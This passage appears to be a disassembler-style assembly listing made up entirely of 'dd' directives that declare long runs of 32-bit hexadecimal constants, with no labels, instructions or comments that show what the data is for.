		dd 4186AD8h, 445B0527h,	0B8A44FCh, 9ABF941Ch, 0EBA9FE0Bh
		dd 976D2F0h, 0FD016C50h, 0E709B49Ah, 843084F3h,	8A10BEFBh
		dd 1130C538h, 601E044Fh, 28896B2Ch, 80302A2Eh, 8E9D6B36h
		dd 8030FBD3h, 9C7A406Ch, 9CC0C4B5h, 10BA2DF0h, 0B111C417h
		dd 0B759FC80h, 537B7589h, 69FE0216h, 432D6880h,	5DDC0539h
		dd 883ED6AAh, 0D8967FA0h, 0FED484BFh, 0BBEE945h, 0A5012D7Ch
		dd 62334937h, 205A7894h, 6142308Ch, 2E50C1BAh, 2949E9AEh
		dd 3AABF848h, 66013CD9h, 47F8F546h, 558C416Ah, 0AC8E6A11h
		dd 4E00A3DDh, 0ECD3B7B0h, 64C04C4Bh, 0E311F108h, 89487947h
		dd 0E8FC4C32h, 5864304h, 0FD006CBDh, 1DE87866h,	98B8AFDFh
		dd 6EA95425h, 299C1224h
		dd 6620B04Ch, 0D04E0209h, 1ED830E3h, 957CE280h,	10B7D44Eh
		dd 952559Ch, 50D588A8h,	0C2443C59h, 0D3743156h,	186AF0DDh
		dd 0EC7B0100h, 6044D75Ah, 0EF302631h, 8F1C085Ch, 1A083202h
		dd 0EB404CE8h, 7461C502h, 60B9D50Bh, 0A840C2C8h, 16258883h
		dd 9902D498h, 9BDF867Dh, 39104093h, 0CC9A27F5h,	7879D8D9h
		dd 841FA218h, 59C098BAh, 0D604A82Ah, 44829511h,	1A556748h
		dd 11889DA8h, 0A49380AEh, 4BDA5BF9h, 41FD8635h,	68C63005h
		dd 0C0A07BCCh, 563EE933h, 40B8D8h, 0DC0DC231h, 908D52F4h
		dd 68D300DBh, 12F3C76Fh, 94FECB6Dh, 38A1384Ah, 75A26C33h
		dd 481F4B30h, 1E2FA451h, 3300DCE4h, 0DC1624E0h,	90F5E12Fh
		dd 326013A4h, 2E4F830h,	0F2491098h, 0C61C68B7h,	0A8C35D0Ah
		dd 43DEF709h, 17B5B050h, 8AFD9150h, 0D707976Fh,	12B536CBh
		dd 0D86BC02h, 68A0219Dh, 4FD86828h, 0ABB20CF3h,	0BDA3E430h
		dd 69C6810h, 98025E20h,	0B1984A12h, 0E46E3BA8h,	76FBF205h
		dd 0AD880E68h, 34FE9949h, 3BAA7564h, 1C772354h,	6C5149FFh
		dd 8C20B854h, 99210622h, 18B1D1C4h, 537A0054h, 0B9344DF4h
		dd 11B70B86h, 0D03F68D0h, 7002395Ch, 23056F71h,	8161469Eh
		dd 7CAC9C81h, 0A8AA3B00h, 0B4F239C0h, 2C43A3BFh, 1B02035h
		dd 6C01D050h, 55D87DCBh, 48E04110h, 90343A86h, 106EABh
		dd 0EC395C33h, 181E72B9h, 9850A498h, 0A5402CE4h, 509650ABh
		dd 36E83A94h, 8079B725h, 0F0187FD1h, 0AD510600h, 0E0786A62h
		dd 0C45CA57Eh, 0A906077h, 71BC2422h, 243B42ACh,	0B9C41443h
		dd 0B3910048h, 0E21E0729h, 654B005Bh, 8D020932h, 6105B049h
		dd 9B420C9Fh, 0DEE49083h, 14070061h, 0A55A1DBFh, 0CB07EE5Fh
		dd 0A37A7087h, 76505CA9h, 5E1D7F46h, 64E00079h,	1FD5279Eh
		dd 390C49Fh, 0A369E7F6h, 0DE985950h, 9825BC77h,	58906CEBh
		dd 76205C68h, 0C2C56A04h, 60FF1D34h, 0E82332Ch,	210D2E2Fh
		dd 9421BBF0h, 7B4C852Ah, 6F1800CCh, 0C2D593Ch, 16BA0EC8h
		dd 2F129C61h, 0AC239Ch,	0D9BFED35h, 9F175CD7h, 0D41C1A8Ah
		dd 34FC7993h, 138BA9A1h, 6364B912h, 206A5E0h, 0BE11EFADh
		dd 0BC7C3490h, 0EC4CE82Fh, 940C8082h, 0FEB20D0Fh, 0C35D8128h
		dd 30902022h, 0DE84096Fh, 263C5875h, 476869F6h,	195976A4h
		dd 25901E3Ch, 918D253h,	37D499E6h, 231214FEh, 8B7C9806h
		dd 0F5C50021h, 0A3A0DE2Dh, 51C97991h, 0A618E8E3h, 61D70975h
		dd 507686FEh, 3825A810h, 0AA847C63h, 2E2B420h, 989D3BB2h
		dd 99C87624h, 3AAA4970h, 72528840h, 1170F3Bh, 0BD5ABE34h
		dd 70122AF7h, 5E4A107Dh, 788198C5h, 92019928h, 716092CBh
		dd 0AC4080A8h, 0EADC0536h, 0AE188BBBh, 10FC5C42h, 3000587Eh
		dd 1771CBAAh, 712CFCAh,	50E08422h, 79F82E1Ch, 7627B844h
		dd 9802F4F3h, 106E4068h, 0E4891125h, 959CDD60h,	84E870A2h
		dd 61FEA704h, 4DB6CF4h,	76729809h, 9DC028E8h, 8AC0286Dh
		dd 2E76BDAFh, 99C59DEh,	3802A0A5h, 4E01F38Dh, 8E3F8323h
		dd 923DC68h, 0E0F443CBh, 0B69D3240h, 5F860727h,	0B0DA5D87h
		dd 5D42FE2h, 9EEC9309h,	817C041Dh, 6F086D00h, 31086A7h
		dd 10581399h, 2FC3A21Ch, 0F558885Bh, 0D7A801DEh, 0BFA2E752h
		dd 34CCD509h, 1321620h,	0C3D45181h, 24A7A556h, 33FC1500h
		dd 449BB44Dh, 41178690h, 0A4F0C9E2h, 7DFF00BBh,	1597600Fh
		dd 0BF165CBEh, 0F0A223D4h, 3B3071F2h, 0D09B01F1h, 0A3B29F84h
		dd 1F8DCC66h, 0FA7FD1C9h, 0E10800F0h, 0A96239AFh, 871DE0B5h
		dd 46528F53h, 0CCD448A8h, 4F80C411h, 2F7CB0B2h,	407888h
		dd 200332D3h, 987B02D1h, 0A00878D4h, 0C997AA86h, 56EF19h
		dd 0A45D00DCh, 14B5DE0Dh, 322A51C4h, 0A090BCC8h, 0E1F4A001h
		dd 0F605DE0Ah, 4788642Ch, 44B82396h, 0ABD53109h, 0F4598109h
		dd 4E619804h, 0E0D4E613h, 0C33CEF3h, 860C16D7h,	8D02DC71h
		dd 946299E8h, 984F4B4h,	34FC3C41h, 8210A950h, 0F8B75Fh
		dd 7B7A2F4Eh, 19265BBEh, 0C41E4C92h, 8268382Dh,	0DE8F30A4h
		dd 1A0A6BA1h, 0A0A3F829h, 82D49002h, 5134566Ch,	2B2B0D3Ch
		dd 0B22334h, 94790292h,	0BB0BF688h, 5450074Fh, 303547F8h
		dd 53FA7FC4h, 11B0BF78h, 86BC5218h, 0A31B21h, 0F336D18Eh
		dd 5D802E6h, 0AE18B700h, 12335EDBh, 93F40240h, 0CC2325A7h
		dd 7411E09Dh, 0EDA82880h, 0D709F9F8h, 58C52024h, 0B2940238h
		dd 9ED66ED5h, 56BC247Fh, 5C880240h, 0BE5F0626h,	20A31016h
		dd 22307BE2h, 0E8E612F9h, 65540044h, 348E8C5Bh,	9B921604h
		dd 30FE547Dh, 6201CE4h,	3370C261h, 6028C821h, 7627FC3Eh
		dd 885A4843h, 1AE370F6h, 4AB29AB8h, 89E0733Eh, 11E3CA54h
		dd 6D19C6Ch, 4838802Eh,	19E632B8h, 6BAC0254h, 24E49Fh
		dd 7E01B329h, 0E49178B4h, 0FCEE3200h, 0E09F4F24h, 3D507237h
		dd 34971A39h, 0C074EC02h, 995F8C79h, 70994Dh, 0F05BEE12h
		dd 37953BA3h, 59D700B0h, 4B2F042Eh, 0D9FE4876h,	0D8D3E470h
		dd 2DC02CE9h, 0E4D6F916h, 0AD9E0812h, 9C092CB7h, 0A4D891F8h
		dd 8947CF80h, 48E9B8D3h, 2D09D1B8h, 84C67A6Dh, 20273A4h
		dd 89F7C9DEh, 0EAB8F65Ch, 72465C70h, 0A1CA630Eh, 0AD2BB580h
		dd 8B27CE6Ch, 0C410E77Bh, 1B906079h, 0FA6B0114h, 209A32CEh
		dd 0E0CF3AAEh, 80CE7888h, 1E906130h, 0C10102C8h, 1F47BB02h
		dd 5C341A55h, 0B805DC74h, 8A26EB5Ch, 7168B681h,	55BCD22Ah
		dd 660FE852h, 171E8CC7h, 74C8548Bh, 2DB572C0h, 0A4C809C1h
		dd 8B1F8D0h, 16039ABh, 0A0BF00Fh, 0AEE0C41Ch, 201295F1h
		dd 4930275Fh, 0C31E430h, 9DC300B5h, 0DB94D363h,	98252BA6h
		dd 0BE7C504Ah, 1004DCBCh, 7DE62FFAh, 620960BDh,	0F780A438h
		dd 0CDE976A3h, 0FCAC6B01h, 0E1696313h, 26180DCh, 42AA6AE7h
		dd 897FFF3Eh, 11E09D6Ch, 1C49800Ch, 4C9913Bh, 0AE0E9C73h
		dd 6C44EE18h, 0F21783F0h, 70E65E9Ch, 0E33C2CF0h, 0D4E6C000h
		dd 910955F5h, 44A197BBh, 0D0B47FD6h, 4F0F233Bh,	0E0407568h
		dd 867BA96Ah, 86C2421h,	9512BA50h, 0CA8FC9Ah, 1909D36Fh
		dd 2DE90333h, 0E4A39902h, 70F09AA1h, 322508B7h,	7F98628Ch
		dd 7C029418h, 0C03FB009h, 1DF478AAh, 56B19AFDh,	0A484B0F0h
		dd 74D59B4Ah, 0FE0B74C8h, 730A01ABh, 78DA355Ah,	3F65ED6Eh
		dd 44B80DDh, 0BE00239Ch, 74086DB3h, 1F12092Dh, 145334F3h
		dd 0C92070h, 53A24AD8h,	8633506Eh, 9488094Ah, 7A682060h
		dd 0A1DE8413h, 95F690E0h, 9C7096h, 778C78DCh, 39C800E5h
		dd 25717294h, 1495A520h, 0BE04BACCh, 7990DCB8h,	82725403h
		dd 0E4EC7DD0h, 0C8888EAAh, 892FC0FDh, 0C728332Bh, 0DB00FC17h
		dd 7EC28C04h, 0E479B03h, 4F8B11A6h, 0AA331284h,	3BDD6830h
		dd 49B0953h, 0B059278Bh, 0AF2C6F64h, 0FB294366h, 4B188021h
		dd 0A149D2A3h, 0B0302AC0h, 91D32082h, 1878D10Ch, 17FC03DAh
		dd 593B946Bh, 60E01CEAh, 89404452h, 561813E2h, 0C46CE2B6h
		dd 233F3D06h, 0F14600B3h, 0CE5CA0AAh, 0D51724E0h, 0DC9099A3h
		dd 34F96B16h, 0C9785FABh, 1C470E8h, 56A8BC86h, 2700B246h
		dd 1433AD05h, 6812BA53h, 8807BF96h, 0E0B06DD4h,	934F59Eh
		dd 2ADFE04h, 795AD454h,	18745920h, 79227209h, 9ADA020Dh
		dd 76EC881Fh, 9D20F87Ah, 25207C07h, 346E6BF4h, 34A6015Fh
		dd 0D467C4B0h, 0C48C5827h, 0C693131Ch, 0F60E2B2h, 20FACE9Ah
		dd 0B6D9CC9Eh, 475D0964h
		dd 3C80E591h, 84CE4695h, 8C139603h, 9CBB2D83h, 7D1D8F40h
		dd 8D03157Eh, 8C3D96C8h, 97810025h, 0F7333246h,	3E3BF26Ch
		dd 0F570F57Ah, 0B06464A5h, 0ED3C5660h, 6F9E6C0Fh, 1C8CE340h
		dd 0AB690014h, 6A8FDC86h, 0BF251060h, 85846EBh,	781488B8h
		dd 5F60402h, 80940219h,	0D41F818Bh, 81838011h, 0B092084Ah
		dd 1F674FEh, 0FDB33D95h, 7A7426BCh, 306888h, 0D2F99653h
		dd 250D40D8h, 6B5F6400h, 88D1F4Ch, 7F6C201Ah, 2DC1C94h
		dd 6984B67Dh, 505CF2E6h, 0F188D927h, 28D18B1h, 90823222h
		dd 0B482FC35h, 0FE09F20Dh, 2D1260A0h, 0A704E9C9h, 0A878320Ah
		dd 0BA9274B8h, 6043030h, 431B447Eh, 7C6EAB4Ah, 0F7F22A00h
		dd 0E2B178F6h, 3A189A0Bh, 0E0A854BBh, 0B03E209Ch, 1D0A18C1h
		dd 0F72A8B6Bh, 825DA0A0h, 0C81A0071h, 0BE2370B3h, 0E2970C88h
		dd 68105514h, 0B900A157h, 649F4971h, 97F5DD25h,	9081FC62h
		dd 2E93BB02h, 7823DC6Ah, 7D6F4D00h, 5A6FA38h, 0F8B3D056h
		dd 0C416EF9Bh, 7EC10F8h, 0B623038Ch, 95582436h,	9A59A5E8h
		dd 0ADE1F83Ah, 805471BBh, 0AB12EDA6h, 511F5584h, 2DC0E832h
		dd 64080186h, 0FF1B07B5h, 4C7DF503h, 0C03AD361h, 79C816h
		dd 5D780115h, 3F49288Ah, 0AD8245FBh, 43886660h,	7D0028F1h
		dd 2B1020DDh, 3DF4B8CEh, 0F64EF3BBh, 1642E018h,	0B91501E4h
		dd 98526A90h, 0B48A2A88h, 0CC4AA358h, 684EA0E8h, 0CCB20452h
		dd 71416D88h, 0CC7C3B7Dh, 66E73380h, 20008DB6h,	6DECF445h
		dd 0CFCD7Bh, 0E33089D2h, 0E9337581h, 68C0434Bh,	138D39Ah
		dd 7FD46EFh, 58AC5032h,	7C020250h, 35F9DD2h, 1C9255A7h
		dd 0AC7130FBh, 56FCD420h, 0DC023481h, 48E27A77h, 0E0010479h
		dd 0CE85DB9Dh, 39E09D6Ah, 9047A800h, 0C4910071h, 150518A5h
		dd 0EAEA9280h, 81D0BD61h, 562A8FA4h, 0A808130Ch, 8A1CC40Ch
		dd 2E6874ABh, 6AA2344h,	10CDC677h, 12C21702h, 57D419C4h
		dd 294F0C63h, 12F0ACE6h, 69017E0Dh, 192E5BF4h, 85C5681Eh
		dd 3CB1434h, 8BD6A688h,	395F051Fh, 310034A2h, 9C98305Eh
		dd 71098E4Bh, 364C2Ah, 74F7BFC3h, 806B4A54h, 167CAC54h
		dd 18E4CD98h, 0CCD0E9BDh, 4B442020h, 7E804486h,	88148FB3h
		dd 4B32C078h, 0A409A608h, 641F74FBh, 0E17B008Ch, 2E37A095h
		dd 6D01043Ch, 336684ECh, 247297A4h, 184D04Fh, 4B5AF099h
		dd 7A109044h, 290082AFh, 6A78E053h, 298927CDh, 4638F89Dh
		dd 0E3C55D09h, 23008C5Ah, 15041476h, 9818C7A3h,	0B3660B25h
		dd 8051F45Eh, 642DA401h, 0C8FBBF23h, 3D1D9D42h,	16F517B7h
		dd 25CFE7Ch, 0AF650C40h, 800CB7DFh, 4A689E4Eh, 9A1666A6h
		dd 700F3BADh, 257070D2h, 0EC5B1057h, 13D3678h, 8F89C1F8h
		dd 346080C6h, 0C095FB70h, 2D083BB8h, 0F0658390h, 786172E4h
		dd 0E3EF40C1h, 30FD9B71h, 2AE1B9DCh, 30F098A6h,	0B9348D56h
		dd 6EAA40F2h, 24D014Ch,	7AA8FFBFh, 0D8ACCC2Ah, 0E29A0E00h
		dd 0B298227Eh, 0E06797E6h, 78607E64h, 3B5C5D51h, 9D161038h
		dd 43650576h, 0FC360EA4h, 74F426CCh, 0EBA6DA0Bh, 49FC9F04h
		dd 75FE2F02h, 12019881h, 3FF5E104h, 43E73800h, 5E3DD86Dh
		dd 0B63C948Eh, 0D6FCE008h, 0F069018Fh, 9E09237Ah, 0D0ECD240h
		dd 85B80C0Eh, 557F298Ch, 4A71F410h, 0BFE86900h,	254CC0B4h
		dd 953D022Bh, 9421BD35h, 76C409D5h, 8800F480h, 0F57E9846h
		dd 2443D00Bh, 92CCCBBCh, 3E98B4E3h, 0AA13A2B8h,	64C7832Dh
		dd 0A410E154h, 0D44A8C22h, 0A05BE4B3h, 3313E710h, 441F3C6Ch
		dd 0BCD39C90h, 0C46ACFE0h, 821D7BECh, 2A59522Eh, 0FCBC0BD5h
		dd 0FF467E6Ch, 616CC09h, 90FF104Ah, 1C8D0DCh, 1CED3E1Bh
		dd 21B8C208h, 0D0D93F0Ch, 803C9B6Fh, 3F1EE5ADh,	2E0D17F4h
		dd 0F8B2F9h, 2A7415CBh,	0BEB8A1h, 0E5725DCFh, 78CE4AEAh
		dd 2781BD00h, 5D6B339h,	8EF04FDAh, 0A3DD70h, 681218C5h
		dd 0A74E015Eh, 7823AC2Fh, 57E8A500h, 0F43B7E8Fh, 0F0ED0504h
		dd 0CC901A69h, 7AE7BA90h, 0F00087Ah, 2C46EDAEh,	7831299Ch
		dd 89BC58A6h, 0C0B4472Fh, 61C30079h, 0C20A94FDh, 0E463D5D6h
		dd 779F11h, 5F68DD84h, 9CB59DCAh, 0A50E3D02h, 555CB006h
		dd 1E12CC0h, 8634D31Ch,	18B26B16h, 10B78222h, 0BEAFDBCh
		dd 0D902FEFBh, 0E512F4FEh, 0A8A808EEh, 30EA3C12h, 0A389F89Ch
		dd 4F165688h, 0CA8CCC07h, 0E1725A25h, 5F6AABE8h, 0E7DD0318h
		dd 1800E05h, 27258403h,	9C587032h, 0C3FA060Ch, 0E200F033h
		dd 246FECAh, 0CC215B2h,	0F27F77F4h, 0BC4B6E28h,	5DFEEC20h
		dd 8894BEFCh, 6C246FCCh, 5C0A3509h, 52C24E5Ch, 90FF724Ch
		dd 0E216E9D8h, 0D7EF4B9Ch, 0BC8C88D4h, 5A866195h, 1C788C0Ah
		dd 981FA00Bh, 19C45A64h, 69F3E9F6h, 4C37EB4h, 1C490906h
		dd 0FCAEB620h, 68C3A09h, 123DA580h, 877E81E4h, 7AD42A0Ah
		dd 4AB5A474h, 1340E3A9h, 0E0FC98CCh, 68C73ECh, 76C39F09h
		dd 509740FBh, 0C244844h, 93F4900Bh, 5F495856h, 32006837h
		dd 0A19AB438h, 0D23E1E4Ch, 226A4341h, 0D00DAEDCh, 308AFD6Ch
		dd 0E0E0F62Ah, 3920411h, 0F6257DDCh, 8E9511Dh, 84C46A6Fh
		dd 0ADBCE0B8h, 391F068Ch, 3976E4A0h, 7AF60F03h,	0C0E8B4A2h
		dd 1CD82Fh, 31554EBEh, 66808DA8h, 9E4EEAF6h, 0AEC8CCCBh
		dd 0E6C711C0h, 487A9081h, 0F881BCBDh, 0EB96AC66h, 9E1DF9D8h
		dd 5868562Dh, 584DB5C4h, 1DC14160h, 0BA580364h,	7301168Dh
		dd 80182049h, 5EB28605h, 0B4960FD3h, 0BE44F317h, 9E3888D8h
		dd 6DFC8810h, 59502806h, 675E88C4h, 76A00C49h, 70524794h
		dd 23FF06CCh, 8DD0EC07h, 8808611h, 93057D3h, 0A4143B35h
		dd 7E452454h, 380728ADh, 6FD38C7Bh, 0DFE5B5E0h,	0AA021F7Ch
		dd 94E12905h, 0CC1057D9h, 0AC4E4C8Ch, 0FAA4448Ch, 8860B98Dh
		dd 5925FD05h, 0A3C819Ch, 21A1C84Ah, 0FE9CD444h,	5195AD72h
		dd 6CDCDA08h, 0E57F1FD4h, 5ACE8940h, 0A837D5h, 1AE5DC79h
		dd 65B52FB4h, 48511180h, 0C1ED10C0h, 2064C84Bh,	51146810h
		dd 10E0806h, 1705F059h,	759BB9A2h, 0B8824CEh, 8F9F52C0h
		dd 0B8A14BDAh, 0FBF902DCh, 7451FFD7h, 0F6AC264h, 0E252FD07h
		dd 9094FF3Bh, 1D8FC620h, 2F9C122Dh, 8D10B86Eh, 40986F3h
		dd 0B4C05DD6h, 0A0BDBCF7h, 0AF6F6000h, 0D37394Ch, 52B19982h
		dd 8576405h, 8D0B8C14h,	64F054C5h, 34683009h, 0F1758C53h
		dd 0E2826F8Fh, 9BC0ED95h, 0F54A7DDEh, 0E04A1CE7h, 25B1678h
		dd 5009D0B2h, 0E8795CA2h, 912497A5h, 29DF8008h,	44AF4A7h
		dd 88A3A145h, 898882F0h, 4050F02Ch, 3258FB52h, 0F1043078h
		dd 0F0F6238Bh, 0B402BD9Ch, 40553B31h, 88A8AA04h, 2F01CF7Dh
		dd 1899178Ch, 5D203F7Eh, 0B5390050h, 0ED1C8B4Bh, 28E75286h
		dd 92F13D74h, 38FD28FBh, 294840ACh, 7AB01660h, 4804825h
		dd 4EA14EEh, 84069A3Bh,	2C20BB40h, 0EBAEE6h, 0E87C018Ch
		dd 0A46FF9CDh, 57D86D00h, 0CB02363Ah, 4C70BEFh,	70374087h
		dd 6CB8F480h, 2DADF1F8h, 54586815h, 0C4017E2Ah,	586DFB00h
		dd 95111F90h, 15F816A1h, 81F01D47h, 698DA383h, 3F4AF509h
		dd 0DA3F40DDh, 0C5438108h, 0A7D457D0h, 9FC20493h, 0BE28881Fh
		dd 2786F4C8h, 70FBE262h, 914778h, 74E1490Ah, 5C024285h
		dd 72042C78h, 81AFBCF9h, 4EA9CC88h, 0D14C9DFBh,	6071948Ah
		dd 404400EEh, 0C3D43270h, 3E0B4B96h, 82364h, 0FE0B2C06h
		dd 0C409AE74h, 55DB55C6h
		dd 64E70C0Bh, 1D60ABC4h, 0E055981Eh, 34742FA0h,	0B1AC3CB8h
		dd 0C158BF8Ch, 0D7044995h, 2E943C30h, 2B846B2h,	641A08B0h
		dd 9C048056h, 0DBBE874Dh, 153E8748h, 2FD8DAD0h,	32B62E9Ah
		dd 9D109ECh, 78C57809h,	18607FE4h, 8812026Dh, 0F0AD07CEh
		dd 234C2ED2h, 823E0307h, 71E899C2h, 854B9AD0h, 1EB61808h
		dd 94D170ABh, 4C947612h, 0E732D400h, 60AB6B41h,	7E9721A6h
		dd 0C60023A3h, 0ECFD8A50h, 0AA2916h, 14DC0CD4h,	0B3022DEFh
		dd 2564F54Ch, 0CCD132h,	6A6C42BBh, 6F072AECh, 282B84A5h
		dd 43EE6710h, 5020029Dh, 3349F48Ch, 2386F85Eh, 410E7Fh
		dd 0FBDF7AB4h, 0A3F006FDh, 13199460h, 9F640835h, 49D45808h
		dd 3D1D7881h, 489B6BEFh, 3847AA93h, 5C894CDBh, 0C2FC644Ch
		dd 9C83B53Eh, 0ACF053F3h, 44040B64h, 0C620313Bh, 37AAC0C5h
		dd 0A8B7BFFCh, 8C0BE8FCh, 36808204h, 13AEC20Eh,	0F8F8EC54h
		dd 9F0B8C74h, 0D9522CA6h, 609E8494h, 0D809AA3Ch, 79F8796Ch
		dd 0D187Ah, 0D8D3DC32h,	98901DE6h, 0CE3C81B5h, 956AF605h
		dd 0C47BEFE0h, 0C88D8800h, 0DF540B78h, 0E7A50F12h, 0EAE5BCB9h
		dd 4901486Ah, 0DED96D91h, 4E04C4ECh, 0D4C8504Ah, 0C2320062h
		dd 36421869h, 2B0047D8h, 0CB757768h, 0C7B5AA80h, 0B90C629h
		dd 679578D8h, 335C5CBCh, 3C51094h, 0F6344A7Eh, 8AA3E05Ch
		dd 0D2160BF8h, 0F0768C41h, 290C2D4Fh, 512C74E2h, 0F705D246h
		dd 0F98030ACh, 0FE054EEh, 0FD7E0900h, 3A7465C4h, 1778041Bh
		dd 0A0C2189Ch, 0C5B52228h, 0B89B1AB8h, 2E7804F3h, 1E0C7E8Dh
		dd 0A7916570h, 66008071h, 0CD29BDD5h, 5485002Ch, 0A3F2FCC5h
		dd 598A7498h, 52BE0160h, 0ED30D29Ch, 0DD9AD4F8h, 0D40C7001h
		dd 0EBC6223Bh, 3804E1FFh, 0A838163Ah, 8C7FF818h, 160108B6h
		dd 0F9FE029Dh, 0AAE8127Ah, 30BC5834h, 24EC42D2h, 0F85EA920h
		dd 819BA461h, 3C098611h, 0B46A80B0h, 162DE6ABh,	0AC5F5116h
		dd 70A64ECCh, 682022E0h, 0EE957471h, 251E7C10h,	0F4736FECh
		dd 0ED18B179h, 0B5933702h, 0FC7401AEh, 91E34778h, 0CCFF1F38h
		dd 470750FBh, 3AAD9698h, 8D548260h, 9CCEB5DAh, 40DC4D9Fh
		dd 98C6306Ah, 7B7C2025h, 0A853AD18h, 0F671DE04h, 0FDD2A0BDh
		dd 76B824h, 33566EE7h, 9DDE5B7Bh, 0A422F90Ah, 86002491h
		dd 1E168BD4h, 0FAF50BC0h, 0A8F815F8h, 0F5B59E0h, 7323CC2Fh
		dd 4CDD4801h, 0C06AC4E9h, 3E1098C8h, 98E95D4Bh,	747A9C10h
		dd 8C520D4Eh, 47E740A6h, 0E0E91080h, 9409B570h,	44A9D6A4h
		dd 20F2E9E0h, 0E49433C9h, 0CE7B6F00h, 5A824CE2h, 5DC7059h
		dd 68FAC76h, 5CF9BDh, 81C8402Ch, 7CA94122h, 0E4FC60h, 9067E39h
		dd 0F3A0AFFDh, 9F8C1997h, 138CD7Eh, 0EF39E4h, 24122DE7h
		dd 80944C22h, 0B9D866FDh, 9780107Dh, 0D4080B8Ch, 0C56C557h
		dd 300110C8h, 5990DAF4h, 0E240342Fh, 763A00D4h,	2E13E068h
		dd 0E578E1h, 0A70D58B9h, 0B67D84EDh, 4A509497h,	0F878E842h
		dd 2B0C8C77h, 811B7DF5h, 3BC200ACh, 0B1E38FB8h,	0A89C4317h
		dd 8DE47D04h, 0D5598243h, 4FCCEA80h, 0FB2B9102h, 74DB721Bh
		dd 5CE46978h, 38C2600h,	15D5E684h, 2C250B07h, 0F80096E5h
		dd 342A4EF3h, 0ED883D50h, 0F1185995h, 2B1518ADh, 24BCA45Ah
		dd 84B00894h, 2FF19028h, 88964028h, 8074026Dh, 50F37A4Ah
		dd 3DF8FC04h, 3CFD35C4h, 0AC04E6B8h, 616EB90h, 0A0444A9h
		dd 12A7CC4Ah, 0CBB778B8h, 0E8225098h, 1AAEFC00h, 4F8939FDh
		dd 8540004Dh, 0F39F615Eh, 900095BCh, 7412A693h,	7B1520h
		dd 24A7803h, 8794A3C2h,	60F859D6h, 8CD804D2h, 1CDCAA88h
		dd 4218A4A4h, 9E160109h, 0F2B6D47Bh, 95F80A2Eh,	0FCD84B84h
		dd 0ECB4464Ah, 23A80B0Ch, 2C53619Ch, 1DD91F78h,	851C1909h
		dd 0FB37181Ah, 0BA09F01Fh, 0F8F013BCh, 3A30E0EAh, 7800A212h
		dd 51D9185Eh, 420C210Ah, 807E6AC6h, 0A206178Ch,	80A0A9F1h
		dd 0D1AFD4Bh, 0DEE20379h, 1E449021h, 0E0410E8h,	5B116A2Dh
		dd 785E2544h, 2FBAFCD4h, 3CC39583h, 0CCA8E14Ah,	6EE908B8h
		dd 0A8215805h, 8DA4A405h, 0A281ACA8h, 2E51C275h, 0FFB2E0A3h
		dd 335B30h, 906AA30Ch, 0D506BAFh, 0A4AA3B38h, 0D108C834h
		dd 5EA407F3h, 0CA22E0B2h, 994AA82Fh, 0BEE0ECF6h, 6A171E20h
		dd 0ECF9744Ah, 3207BC03h, 89C790B4h, 72449C71h,	8C40FE52h
		dd 6AE7F2D6h, 115A0B58h, 0F070365Bh, 0DC9BD17Ch, 8E1CF828h
		dd 0C5E516BCh, 1227A430h, 0BCD8FD83h, 3E0200A5h, 3DDFF2A4h
		dd 182FFCC9h, 685C6022h, 0AE4C1632h, 0BC20EDABh, 6DB500C6h
		dd 9CFF3572h, 162DA0B2h, 924A303h, 9D94C78Fh, 3A508DAAh
		dd 7A8070DBh, 16ED6DC0h, 0CD0075Bh, 2EC9548Ch, 49F00186h
		dd 0BABC1055h, 0F7A800A1h, 6DA243DCh, 9A4A08FCh, 0A43C4CC0h
		dd 20E9866h, 7CBD814Fh,	445543DEh, 0EDFD033Ch, 47C51EB9h
		dd 0D58AA280h, 56DE6C00h, 85C36FC4h, 10E42527h,	9ABBECDEh
		dd 0FB78E094h, 0E11BD068h, 3D49F23Ah, 76E88069h, 8A63D86Ah
		dd 1E281D0Bh, 0FF6DD260h, 0F4306C29h, 94D200BBh, 0D92676EEh
		dd 19149C85h, 4EECB050h, 0B5B8E0BDh, 323B6509h,	640C807Eh
		dd 29D499B3h, 71289428h, 737B18FDh, 52071C74h, 94C86580h
		dd 0BDBFB7DAh, 0CDFA008Ch, 0A841B48h, 9A142A12h, 7C028AAh
		dd 2C481540h, 88241BF2h, 0ED0966E0h, 0B3D40412h, 94F020AEh
		dd 0B500F42Bh, 33394ED7h, 0ED2FC13Ah, 610815FCh, 7B3CB192h
		dd 32BC3024h, 442B0141h, 14D0A4h, 6058B616h, 0A8384A17h
		dd 81C0CCCh, 60D9410Eh,	9AEC719Ch, 0C06001F8h, 86D42059h
		dd 0A7B4BC0Eh, 9C4D3C90h, 42261001h, 88BE0BD0h,	32A0437Ah
		dd 64C21E23h, 0F68CA157h, 98BAFAD9h, 8616D4BAh,	0E018131Eh
		dd 941C6D54h, 0F2131478h, 5F686081h, 0B483A47Ch, 0B0F7ACCFh
		dd 4814063Eh, 6AABE302h, 82A3B202h, 279AA998h, 2703C0FDh
		dd 0DC309020h, 99FE816Ch, 0B01097F8h, 0B44A8C03h, 0E01C80F0h
		dd 819FB2h, 0F1166758h,	526A1040h, 9968BAA0h, 0F52F809Ch
		dd 0DBB5B082h, 98009CF6h, 0AD26A20Bh, 76ACA9CAh, 257E1AA0h
		dd 6420308Bh, 9F096FC6h, 91F54E00h, 3D7A88F9h, 0C3E375B4h
		dd 0D052DA71h, 8E185DE8h, 3BBD258h, 0C60E0246h,	0C0C004EDh
		dd 0AA6BB868h, 884B34D8h, 0E69F1E8Ch, 9DC403E0h, 0C5E60A67h
		dd 0D095412Dh, 801D296Ch, 236B0A90h, 52D00898h,	0DD181025h
		dd 0B1C9006Ah, 74164822h, 1A0CAC53h, 0D690D0BEh, 4A1F0040h
		dd 34F7236Ch, 0F6743A3Ch, 80E0EB95h, 0BFACB58Dh, 8908B9F0h
		dd 2D19A19Dh, 0B7058D56h, 9DFA5B2Eh, 11F67A8Ah,	17BF15A0h
		dd 0BBC28039h, 2BDE020Fh, 53029BDh, 6D4FFB9h, 0B055B6AEh
		dd 5B78FFAh, 0D5D91D5h,	0EA88BB82h, 75530381h, 17578460h
		dd 0F799AAE0h, 6F81401h, 0FCE1835Fh, 0E08EF66Bh, 2726B4BFh
		dd 0E6FEE420h, 21F7FC40h, 1C3C003Bh, 0C95FB17Bh, 0EA1FC6ECh
		dd 0B0E8722Eh, 723E520h, 0D88BC02Bh, 7B030DBAh,	0B37BF6F1h
		dd 830B2C2Ch, 0AD301F18h, 0D1C23233h, 87C0D0A8h, 0F45E7504h
		dd 47B854E9h, 0A9EB6802h, 0C088D5BCh, 16B36055h, 0AFDC8A05h
		dd 0AE02006Eh, 3678D6E0h, 9E77A55h, 880F32B7h, 1F0BEE5Dh
		dd 81A5178Ah, 0DABFA7Bh, 49F92B88h, 7B0158E8h, 1AFB118Dh
